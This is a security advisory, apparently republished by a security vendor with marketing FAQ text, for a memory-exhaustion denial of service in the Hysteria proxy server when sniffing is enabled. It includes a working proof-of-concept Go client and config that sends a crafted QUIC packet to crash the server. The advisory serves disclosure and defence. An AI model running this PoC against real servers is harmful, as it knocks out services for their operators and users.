GHSA-9FW6-XGG2-MQ9Q

A specially constructed quic package can crash the server OOM when the sniff is enabled.

Details

When the server has sniff enabled, a valid connection can request the server to forward UDP traffic and construct a huge crypto length. The server will allocate memory according to this length, causing an OOM.

PoC

openssl req -x509 -newkey rsa:2048 -nodes -keyout localhost.key -out localhost.crt -days 365 -subj "/CN=localhost" 2>/dev/null

server.yaml

listen: :8443
tls:
  cert: localhost.crt
  key: localhost.key
auth:
  type: password
  password: mypassword
sniff:
  enable: true
outbounds:
  - name: my_direct
    type: direct
    default: true

poc.go

package main

import (
	"flag"
	"fmt"
	"log"
	"net"
	"time"

	"github.com/apernet/hysteria/core/v2/client"
)

func main() {
	serverAddrStr := flag.String("server", "127.0.0.1:8443", "Hysteria server address")
	password := flag.String("password", "mypassword", "Hysteria server password")
	flag.Parse()

	serverAddr, _ := net.ResolveUDPAddr("udp", *serverAddrStr)
	c, _, err := client.NewClient(&client.Config{
		ServerAddr: serverAddr, Auth: *password, TLSConfig: client.TLSConfig{InsecureSkipVerify: true},
	})
	if err != nil {
		log.Fatalf("Failed to connect: %v", err)
	}
	defer c.Close()
                                                                                                                
	var maliciousQUICPacket = []byte{                                                                                                                                                                         
		0xcb, 0x0, 0x0, 0x0, 0x1, 0x8, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x0, 0x0,                                                                                                              
		0x32, 0x1d, 0xa8, 0xd6, 0x3c, 0x51, 0x24, 0xb7, 0xbe, 0xf2, 0x91, 0x77, 0x1c, 0x9d, 0x66,                                                                                                             
		0xfc, 0xab, 0x91, 0x1e, 0xaf, 0xf9, 0x14, 0xd5, 0xec, 0xb0, 0x74, 0x46, 0x4f, 0x4, 0x70,                                                                                                              
		0x18, 0x35, 0x31, 0xc5, 0xea, 0x36, 0x40, 0x36, 0x65, 0xdf, 0xa4, 0xcc, 0xf9, 0xff, 0x65,                                                                                                             
		0xe5, 0x1d, 0xb7, 0xc5, 0xc2, 0xc2,                                                                                                                                                                   
	} 

	udpConn, err := c.UDP()
	if err != nil {
		fmt.Printf("[-] UDP error: %v\n", err)
	}
	targetAddr := fmt.Sprintf("8.8.8.8:443")
	fmt.Printf("[*] Sending 'death' packet to %s...\n", targetAddr)
	_ = udpConn.Send(maliciousQUICPacket, targetAddr)

	// Wait longer to ensure packet delivery
	time.Sleep(3 * time.Second)
	fmt.Printf("[+] Done.\n")
}

When sniffing is enabled on the server, a user with a valid password can launch an attack that could cause the server to run out of memory (OOM).

The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap. Typical impact: resource exhaustion leading to denial of service.

GHSA-9FW6-XGG2-MQ9Q has a CVSS score of 8.8 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Kodem intelligence

1. What is GHSA-9FW6-XGG2-MQ9Q? GHSA-9FW6-XGG2-MQ9Q is a high-severity allocation of resources without limits or throttling vulnerability in github.com/apernet/hysteria/core/v2 (go), affecting versions <= 2.8.1. No fixed version is listed yet. The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap.
2. How severe is GHSA-9FW6-XGG2-MQ9Q? GHSA-9FW6-XGG2-MQ9Q has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/apernet/hysteria/core/v2 are affected by GHSA-9FW6-XGG2-MQ9Q? github.com/apernet/hysteria/core/v2 (go) versions <= 2.8.1 is affected.
4. Is there a fix for GHSA-9FW6-XGG2-MQ9Q? No fixed version is listed for GHSA-9FW6-XGG2-MQ9Q yet. Monitor the advisory for updates and apply mitigations in the interim.
5. Is GHSA-9FW6-XGG2-MQ9Q exploitable, and should I be worried? Whether GHSA-9FW6-XGG2-MQ9Q is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether GHSA-9FW6-XGG2-MQ9Q is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix GHSA-9FW6-XGG2-MQ9Q? No fixed version is listed yet. In the interim: Apply per-request resource limits and enforce them before allocation. Rate-limit callers at the network or application layer.